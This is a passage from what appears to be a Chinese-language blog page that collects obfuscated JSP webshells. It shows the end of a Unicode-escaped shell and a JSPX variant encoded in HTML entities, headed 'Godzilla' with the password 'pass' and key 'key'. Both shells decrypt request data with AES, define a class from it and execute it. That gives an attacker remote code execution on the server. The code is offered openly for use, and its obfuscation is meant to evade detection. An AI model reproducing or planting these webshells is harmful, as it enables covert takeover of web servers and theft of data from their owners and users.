u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u0020\u007b\u0074\u0072\u0079\u0020\u007b\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u003d\u0043\u006c\u0061\u0073\u0073\u002e\u0066\u006f\u0072\u004e\u0061\u006d\u0065\u0028<span class="string">&quot;\u0073\u0075\u006e.\u006d\u0069\u0073\u0063.\u0042\u0041\u0053\u0045\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0072&quot;</span>\u0029\u003b\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u0020\u003d\u0020\u0062\u0061\u0073\u0065\u0036\u0034\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0020\u0076\u0061\u006c\u0075\u0065\u0020\u003d\u0020\u0028\u0062\u0079\u0074\u0065\u005b\u005d\u0029\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028<span class="string">&quot;decodeBuffer&quot;</span>\u002c\u0020\u006e\u0065\u0077\u0020\u0043\u006c\u0061\u0073\u0073\u005b\u005d\u0020\u007b\u0020\u0053\u0074\u0072\u0069\u006e\u0067\u002e\u0063\u006c\u0061\u0073\u0073\u0020\u007d\u0029\u002e\u0069\u006e\u0076\u006f\u006b\u0065\u0028\u0064\u0065\u0063\u006f\u0064\u0065\u0072\u002c\u0020\u006e\u0065\u0077\u0020\u004f\u0062\u006a\u0065\u0063\u0074\u005b\u005d\u0020\u007b\u0020\u0062\u0073\u0020\u007d\u0029\u003b\u007d\u0020\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0032\u0029\u0020\u007b\u007d\u007d\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0076\u0061\u006c\u0075\u0065\u003b\u0020\u007d%&gt;&lt;%\u0074\u0072\u0079\u007b\u0062\u0079\u0074\u0065\u005b\u005d\u0020\u0064\u0061\u0074\u0061\u003d\u0062\u0061\u0073\u0065\u0036\u0034\u0044\u0065\u0063\u006f\u0064\u0065\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0050\u0061\u0072\u0061\u006d\u0065\u0074\u0065\u0072\u0028\u0070\u0061\u0073\u0073\u0029\u0029\u003b\u0064\u0061\u0074\u0061\u003d\u0078\u0028\u0064\u0061\u0074\u0061\u002c\u0020\u0066\u0061\u006c\u0073\u0065\u0029\u003b\u0069\u0066\u0020\u0028\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028<span class="string">&quot;payload&quot;</span>\u0029\u003d\u003d\u006e\u0075\u006c\u006c\u0029\u007b\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028<span class="string">&quot;payload&quot;</span>\u002c\u006e\u0065\u0077\u0020\u0058\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0051\u0028\u0064\u0061\u0074\u0061\u0029\u0029\u003b\u007d\u0065\u006c\u0073\u0065\u007b\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0073\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028<span class="string">&quot;parameters&quot;</span>\u002c\u0064\u0061\u0074\u0061\u0029\u003b\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0020\u0061\u0072\u0072\u004f\u0075\u0074\u003d\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u0069\u006f\u002e\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u004f\u0075\u0074\u0070\u0075\u0074\u0053\u0074\u0072\u0065\u0061\u006d\u0028\u0029\u003b\u004f\u0062\u006a\u0065\u0063\u0074\u0020\u0066\u003d\u0028\u0028\u0043\u006c\u0061\u0073\u0073\u0029\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0067\u0065\u0074\u0041\u0074\u0074\u0072\u0069\u0062\u0075\u0074\u0065\u0028<span class="string">&quot;payload&quot;</span>\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u0029\u003b\u0066\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0030\u002c\u0031\u0036\u0029\u0029\u003b\u0066\u002e\u0074\u006f\u0053\u0074\u0072\u0069\u006e\u0067\u0028\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u0062\u0061\u0073\u0065\u0036\u0034\u0045\u006e\u0063\u006f\u0064\u0065\u0028\u0078\u0028\u0061\u0072\u0072\u004f\u0075\u0074\u002e\u0074\u006f\u0042\u0079\u0074\u0065\u0041\u0072\u0072\u0061\u0079\u0028\u0029\u002c\u0020\u0074\u0072\u0075\u0065\u0029\u0029\u0029\u003b\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065\u002e\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072\u0028\u0029\u002e\u0077\u0072\u0069\u0074\u0065\u0028\u006d\u0064\u0035\u002e\u0073\u0075\u0062\u0073\u0074\u0072\u0069\u006e\u0067\u0028\u0031\u0036\u0029\u0029\u003b\u007d\u0020\u007d\u0063\u0061\u0074\u0063\u0068\u0020\u0028\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0020\u0065\u0029\u007b\u007d%&gt;</span><br></pre></td></tr></table></figure>



<h2 id="Html"><a href="#Html" class="headerlink" title="Html"></a>Html</h2><h3 id="哥斯拉-1"><a href="#哥斯拉-1" class="headerlink" title="哥斯拉"></a>哥斯拉</h3><p>哥斯拉，密码pass，密钥key</p>
<figure class="highlight jsp"><table><tr><td class="code"><pre><span class="line">&lt;?xml version=<span class="string">&quot;1.0&quot;</span> encoding=<span class="string">&quot;UTF-8&quot;</span>?&gt;&lt;jsp:root xmlns:jsp=<span class="string">&quot;http://java.sun.com/JSP/Page&quot;</span> version=<span class="string">&quot;1.2&quot;</span>&gt;&lt;jsp:declaration&gt;&amp;#x20;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x20;&amp;#x78;&amp;#x63;&amp;#x3d;&amp;#x22;&amp;#x33;&amp;#x63;&amp;#x36;&amp;#x65;&amp;#x30;&amp;#x62;&amp;#x38;&amp;#x61;&amp;#x39;&amp;#x63;&amp;#x31;&amp;#x35;&amp;#x32;&amp;#x32;&amp;#x34;&amp;#x61;&amp;#x22;&amp;#x3b;&amp;#x20;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x20;&amp;#x70;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x3d;&amp;#x22;&amp;#x70;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x22;&amp;#x3b;&amp;#x20;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x20;&amp;#x6d;&amp;#x64;&amp;#x35;&amp;#x3d;&amp;#x6d;&amp;#x64;&amp;#x35;&amp;#x28;&amp;#x70;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x2b;&amp;#x78;&amp;#x63;&amp;#x29;&amp;#x3b;&amp;#x20;&amp;#x63;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x20;&amp;#x58;&amp;#x20;&amp;#x65;&amp;#x78;&amp;#x74;&amp;#x65;&amp;#x6e;&amp;#x64;&amp;#x73;&amp;#x20;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x4c;&amp;#x6f;&amp;#x61;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x7b;&amp;#x70;&amp;#x75;&amp;#x62;&amp;#x6c;&amp;#x69;&amp;#x63;&amp;#x20;&amp;#x58;&amp;#x28;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x4c;&amp;#x6f;&amp;#x61;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x20;&amp;#x7a;&amp;#x29;&amp;#x7b;&amp;#x73;&amp;#x75;&amp;#x70;&amp;#x65;&amp;#x72;&amp;#x28;&amp;#x7a;&amp;#x29;&amp;#x3b;&amp;#x7d;&amp;#x70;&amp;#x75;&amp;#x62;&amp;#x6c;&amp;#x69;&amp;#x63;&amp;#x20;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x20;&amp;#x51;&amp;#x28;&amp;#x62;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x63;&amp;#x62;&amp;#x29;&amp;#x7b;&amp;#x72;&amp;#x65;&amp;#x74;&amp;#x75;&amp;#x72;&amp;#x6e;&amp;#x20;&amp;#x73;&amp;#x75;&amp;#x70;&amp;#x65;&amp;#x72;&amp;#x2e;&amp;#x64;&amp;#x65;&amp;#x66;&amp;#x69;&amp;#x6e;&amp;#x65;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x28;&amp;#x63;&amp;#x62;&amp;#x2c;&amp;#x20;&amp;#x30;&amp;#x2c;&amp;#x20;&amp;#x63;&amp;#x62;&amp;#x2e;&amp;#x6c;&amp;#x65;&amp;#x6e;&amp;#x67;&amp;#x74;&amp;#x68;&amp;#x29;&amp;#x3b;&amp;#x7d;&amp;#x20;&amp;#x7d;&amp;#x70;&amp;#x75;&amp;#x62;&amp;#x6c;&amp;#x69;&amp;#x63;&amp;#x20;&amp;#x62;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x78;&amp;#x28;&amp;#x62;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x73;&amp;#x2c;&amp;#x62;&amp;#x6f;&amp;#x6f;&amp;#x6c;&amp;#x65;&amp;#x61;&amp;#x6e;&amp;#x20;&amp;#x6d;&amp;#x29;&amp;#x7b;&amp;#x20;&amp;#x74;&amp;#x72;&amp;#x79;&amp;#x7b;&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x78;&amp;#x2e;&amp;#x63;&amp;#x72;&amp;#x79;&amp;#x70;&amp;#x74;&amp;#x6f;&amp;#x2e;&amp;#x43;&amp;#x69;&amp;#x70;&amp;#x68;&amp;#x65;&amp;#x72;&amp;#x20;&amp;#x63;&amp;#x3d;&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x78;&amp;#x2e;&amp;#x63;&amp;#x72;&amp;#x79;&amp;#x70;&amp;#x74;&amp;#x6f;&amp;#x2e;&amp;#x43;&amp;#x69;&amp;#x70;&amp;#x68;&amp;#x65;&amp;#x72;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x49;&amp;#x6e;&amp;#x73;&amp;#x74;&amp;#x61;&amp;#x6e;&amp;#x63;&amp;#x65;&amp;#x28;&amp;#x22;&amp;#x41;&amp;#x45;&amp;#x53;&amp;#x22;&amp;#x29;&amp;#x3b;&amp;#x63;&amp;#x2e;&amp;#x69;&amp;#x6e;&amp;#x69;&amp;#x74;&amp;#x28;&amp;#x6d;&amp;#x3f;&amp;#x31;&amp;#x3a;&amp;#x32;&amp;#x2c;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x20;&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x78;&amp;#x2e;&amp;#x63;&amp;#x72;&amp;#x79;&amp;#x70;&amp;#x74;&amp;#x6f;&amp;#x2e;&amp;#x73;&amp;#x70;&amp;#x65;&amp;#x63;&amp;#x2e;&amp;#x53;&amp;#x65;&amp;#x63;&amp;#x72;&amp;#x65;&amp;#x74;&amp;#x4b;&amp;#x65;&amp;#x79;&amp;#x53;&amp;#x70;&amp;#x65;&amp;#x63;&amp;#x28;&amp;#x78;&amp;#x63;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x42;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x73;&amp;#x28;&amp;#x29;&amp;#x2c;&amp;#x22;&amp;#x41;&amp;#x45;&amp;#x53;&amp;#x22;&amp;#x29;&amp;#x29;&amp;#x3b;&amp;#x72;&amp;#x65;&amp;#x74;&amp;#x75;&amp;#x72;&amp;#x6e;&amp;#x20;&amp;#x63;&amp;#x2e;&amp;#x64;&amp;#x6f;&amp;#x46;&amp;#x69;&amp;#x6e;&amp;#x61;&amp;#x6c;&amp;#x28;&amp;#x73;&amp;#x29;&amp;#x3b;&amp;#x20;&amp;#x7d;&amp;#x63;&amp;#x61;&amp;#x74;&amp;#x63;&amp;#x68;&amp;#x20;&amp;#x28;&amp;#x45;&amp;#x78;&amp;#x63;&amp;#x65;&amp;#x70;&amp;#x74;&amp;#x69;&amp;#x6f;&amp;#x6e;&amp;#x20;&amp;#x65;&amp;#x29;&amp;#x7b;&amp;#x72;&amp;#x65;&amp;#x74;&amp;#x75;&amp;#x72;&amp;#x6e;&amp;#x20;&amp;#x6e;&amp;#x75;&amp;#x6c;&amp;#x6c;&amp;#x3b;&amp;#x20;&amp;#x7d;&amp;#x7d;&amp;#x20;&amp;#x70;&amp;#x75;&amp;#x62;&amp;#x6c;&amp;#x69;&amp;#x63;&amp;#x20;&amp;#x73;&amp;#x74;&amp;#x61;&amp;#x74;&amp;#x69;&amp;#x63;&amp;#x20;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x20;&amp;#x6d;&amp;#x64;&amp;#x35;&amp;#x28;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x20;&amp;#x73;&amp;#x29;&amp;#x20;&amp;#x7b;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x20;&amp;#x72;&amp;#x65;&amp;#x74;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x6e;&amp;#x75;&amp;#x6c;&amp;#x6c;&amp;#x3b;&amp;#x74;&amp;#x72;&amp;#x79;&amp;#x20;&amp;#x7b;&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x2e;&amp;#x73;&amp;#x65;&amp;#x63;&amp;#x75;&amp;#x72;&amp;#x69;&amp;#x74;&amp;#x79;&amp;#x2e;&amp;#x4d;&amp;#x65;&amp;#x73;&amp;#x73;&amp;#x61;&amp;#x67;&amp;#x65;&amp;#x44;&amp;#x69;&amp;#x67;&amp;#x65;&amp;#x73;&amp;#x74;&amp;#x20;&amp;#x6d;&amp;#x3b;&amp;#x6d;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x2e;&amp;#x73;&amp;#x65;&amp;#x63;&amp;#x75;&amp;#x72;&amp;#x69;&amp;#x74;&amp;#x79;&amp;#x2e;&amp;#x4d;&amp;#x65;&amp;#x73;&amp;#x73;&amp;#x61;&amp;#x67;&amp;#x65;&amp;#x44;&amp;#x69;&amp;#x67;&amp;#x65;&amp;#x73;&amp;#x74;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x49;&amp;#x6e;&amp;#x73;&amp;#x74;&amp;#x61;&amp;#x6e;&amp;#x63;&amp;#x65;&amp;#x28;&amp;#x22;&amp;#x4d;&amp;#x44;&amp;#x35;&amp;#x22;&amp;#x29;&amp;#x3b;&amp;#x6d;&amp;#x2e;&amp;#x75;&amp;#x70;&amp;#x64;&amp;#x61;&amp;#x74;&amp;#x65;&amp;#x28;&amp;#x73;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x42;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x73;&amp;#x28;&amp;#x29;&amp;#x2c;&amp;#x20;&amp;#x30;&amp;#x2c;&amp;#x20;&amp;#x73;&amp;#x2e;&amp;#x6c;&amp;#x65;&amp;#x6e;&amp;#x67;&amp;#x74;&amp;#x68;&amp;#x28;&amp;#x29;&amp;#x29;&amp;#x3b;&amp;#x72;&amp;#x65;&amp;#x74;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x20;&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x2e;&amp;#x6d;&amp;#x61;&amp;#x74;&amp;#x68;&amp;#x2e;&amp;#x42;&amp;#x69;&amp;#x67;&amp;#x49;&amp;#x6e;&amp;#x74;&amp;#x65;&amp;#x67;&amp;#x65;&amp;#x72;&amp;#x28;&amp;#x31;&amp;#x2c;&amp;#x20;&amp;#x6d;&amp;#x2e;&amp;#x64;&amp;#x69;&amp;#x67;&amp;#x65;&amp;#x73;&amp;#x74;&amp;#x28;&amp;#x29;&amp;#x29;&amp;#x2e;&amp;#x74;&amp;#x6f;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x28;&amp;#x31;&amp;#x36;&amp;#x29;&amp;#x2e;&amp;#x74;&amp;#x6f;&amp;#x55;&amp;#x70;&amp;#x70;&amp;#x65;&amp;#x72;&amp;#x43;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x28;&amp;#x29;&amp;#x3b;&amp;#x7d;&amp;#x20;&amp;#x63;&amp;#x61;&amp;#x74;&amp;#x63;&amp;#x68;&amp;#x20;&amp;#x28;&amp;#x45;&amp;#x78;&amp;#x63;&amp;#x65;&amp;#x70;&amp;#x74;&amp;#x69;&amp;#x6f;&amp;#x6e;&amp;#x20;&amp;#x65;&amp;#x29;&amp;#x20;&amp;#x7b;&amp;#x7d;&amp;#x72;&amp;#x65;&amp;#x74;&amp;#x75;&amp;#x72;&amp;#x6e;&amp;#x20;&amp;#x72;&amp;#x65;&amp;#x74;&amp;#x3b;&amp;#x20;&amp;#x7d;&amp;#x20;&amp;#x70;&amp;#x75;&amp;#x62;&amp;#x6c;&amp;#x69;&amp;#x63;&amp;#x20;&amp;#x73;&amp;#x74;&amp;#x61;&amp;#x74;&amp;#x69;&amp;#x63;&amp;#x20;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x20;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x45;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x28;&amp;#x62;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x62;&amp;#x73;&amp;#x29;&amp;#x20;&amp;#x74;&amp;#x68;&amp;#x72;&amp;#x6f;&amp;#x77;&amp;#x73;&amp;#x20;&amp;#x45;&amp;#x78;&amp;#x63;&amp;#x65;&amp;#x70;&amp;#x74;&amp;#x69;&amp;#x6f;&amp;#x6e;&amp;#x20;&amp;#x7b;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x20;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x3b;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x20;&amp;#x76;&amp;#x61;&amp;#x6c;&amp;#x75;&amp;#x65;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x6e;&amp;#x75;&amp;#x6c;&amp;#x6c;&amp;#x3b;&amp;#x74;&amp;#x72;&amp;#x79;&amp;#x20;&amp;#x7b;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x3d;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x2e;&amp;#x66;&amp;#x6f;&amp;#x72;&amp;#x4e;&amp;#x61;&amp;#x6d;&amp;#x65;&amp;#x28;&amp;#x22;&amp;#x6a;&amp;#x61;&amp;#x76;&amp;#x61;&amp;#x2e;&amp;#x75;&amp;#x74;&amp;#x69;&amp;#x6c;&amp;#x2e;&amp;#x42;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x22;&amp;#x29;&amp;#x3b;&amp;#x4f;&amp;#x62;&amp;#x6a;&amp;#x65;&amp;#x63;&amp;#x74;&amp;#x20;&amp;#x45;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x4d;&amp;#x65;&amp;#x74;&amp;#x68;&amp;#x6f;&amp;#x64;&amp;#x28;&amp;#x22;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x45;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x22;&amp;#x2c;&amp;#x20;&amp;#x6e;&amp;#x75;&amp;#x6c;&amp;#x6c;&amp;#x29;&amp;#x2e;&amp;#x69;&amp;#x6e;&amp;#x76;&amp;#x6f;&amp;#x6b;&amp;#x65;&amp;#x28;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x2c;&amp;#x20;&amp;#x6e;&amp;#x75;&amp;#x6c;&amp;#x6c;&amp;#x29;&amp;#x3b;&amp;#x76;&amp;#x61;&amp;#x6c;&amp;#x75;&amp;#x65;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x28;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x29;&amp;#x45;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x28;&amp;#x29;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x4d;&amp;#x65;&amp;#x74;&amp;#x68;&amp;#x6f;&amp;#x64;&amp;#x28;&amp;#x22;&amp;#x65;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x54;&amp;#x6f;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x22;&amp;#x2c;&amp;#x20;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x20;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x7b;&amp;#x20;&amp;#x62;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x5b;&amp;#x5d;&amp;#x2e;&amp;#x63;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x20;&amp;#x7d;&amp;#x29;&amp;#x2e;&amp;#x69;&amp;#x6e;&amp;#x76;&amp;#x6f;&amp;#x6b;&amp;#x65;&amp;#x28;&amp;#x45;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x2c;&amp;#x20;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x20;&amp;#x4f;&amp;#x62;&amp;#x6a;&amp;#x65;&amp;#x63;&amp;#x74;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x7b;&amp;#x20;&amp;#x62;&amp;#x73;&amp;#x20;&amp;#x7d;&amp;#x29;&amp;#x3b;&amp;#x7d;&amp;#x20;&amp;#x63;&amp;#x61;&amp;#x74;&amp;#x63;&amp;#x68;&amp;#x20;&amp;#x28;&amp;#x45;&amp;#x78;&amp;#x63;&amp;#x65;&amp;#x70;&amp;#x74;&amp;#x69;&amp;#x6f;&amp;#x6e;&amp;#x20;&amp;#x65;&amp;#x29;&amp;#x20;&amp;#x7b;&amp;#x74;&amp;#x72;&amp;#x79;&amp;#x20;&amp;#x7b;&amp;#x20;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x3d;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x2e;&amp;#x66;&amp;#x6f;&amp;#x72;&amp;#x4e;&amp;#x61;&amp;#x6d;&amp;#x65;&amp;#x28;&amp;#x22;&amp;#x73;&amp;#x75;&amp;#x6e;&amp;#x2e;&amp;#x6d;&amp;#x69;&amp;#x73;&amp;#x63;&amp;#x2e;&amp;#x42;&amp;#x41;&amp;#x53;&amp;#x45;&amp;#x36;&amp;#x34;&amp;#x45;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x22;&amp;#x29;&amp;#x3b;&amp;#x20;&amp;#x4f;&amp;#x62;&amp;#x6a;&amp;#x65;&amp;#x63;&amp;#x74;&amp;#x20;&amp;#x45;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x62;&amp;#x61;&amp;#x73;&amp;#x65;&amp;#x36;&amp;#x34;&amp;#x2e;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x49;&amp;#x6e;&amp;#x73;&amp;#x74;&amp;#x61;&amp;#x6e;&amp;#x63;&amp;#x65;&amp;#x28;&amp;#x29;&amp;#x3b;&amp;#x20;&amp;#x76;&amp;#x61;&amp;#x6c;&amp;#x75;&amp;#x65;&amp;#x20;&amp;#x3d;&amp;#x20;&amp;#x28;&amp;#x53;&amp;#x74;&amp;#x72;&amp;#x69;&amp;#x6e;&amp;#x67;&amp;#x29;&amp;#x45;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x28;&amp;#x29;&amp;#x2e;&amp;#x67;&amp;#x65;&amp;#x74;&amp;#x4d;&amp;#x65;&amp;#x74;&amp;#x68;&amp;#x6f;&amp;#x64;&amp;#x28;&amp;#x22;&amp;#x65;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x22;&amp;#x2c;&amp;#x20;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x20;&amp;#x43;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x7b;&amp;#x20;&amp;#x62;&amp;#x79;&amp;#x74;&amp;#x65;&amp;#x5b;&amp;#x5d;&amp;#x2e;&amp;#x63;&amp;#x6c;&amp;#x61;&amp;#x73;&amp;#x73;&amp;#x20;&amp;#x7d;&amp;#x29;&amp;#x2e;&amp;#x69;&amp;#x6e;&amp;#x76;&amp;#x6f;&amp;#x6b;&amp;#x65;&amp;#x28;&amp;#x45;&amp;#x6e;&amp;#x63;&amp;#x6f;&amp;#x64;&amp;#x65;&amp;#x72;&amp;#x2c;&amp;#x20;&amp;#x6e;&amp;#x65;&amp;#x77;&amp;#x20;&amp;#x4f;&amp;#x62;&amp;#x6a;&amp;#x65;&amp;#x63;&amp;#x74;&amp;#x5b;&amp;#x5d;&amp;#x20;&amp;#x7b;&amp;#x20;&amp;#x62;&amp;#x73;&amp;#x20;&amp;#x7d;&amp;#x29;&amp;#x3b;&amp;#x7d;&amp;#x20;&amp;#x63;&amp;#x61;&amp;#x74;&amp;#x63;&amp;#x68;&amp;#x20;&amp;#x28;&amp;#x45;&amp;#x78;&amp;#x63;&amp;#x65;&amp;#x70;&amp;#x74;&amp;#x69;&amp;#x6f;&amp;#x6e;&amp;#x20;&amp;#x65;&amp;#x3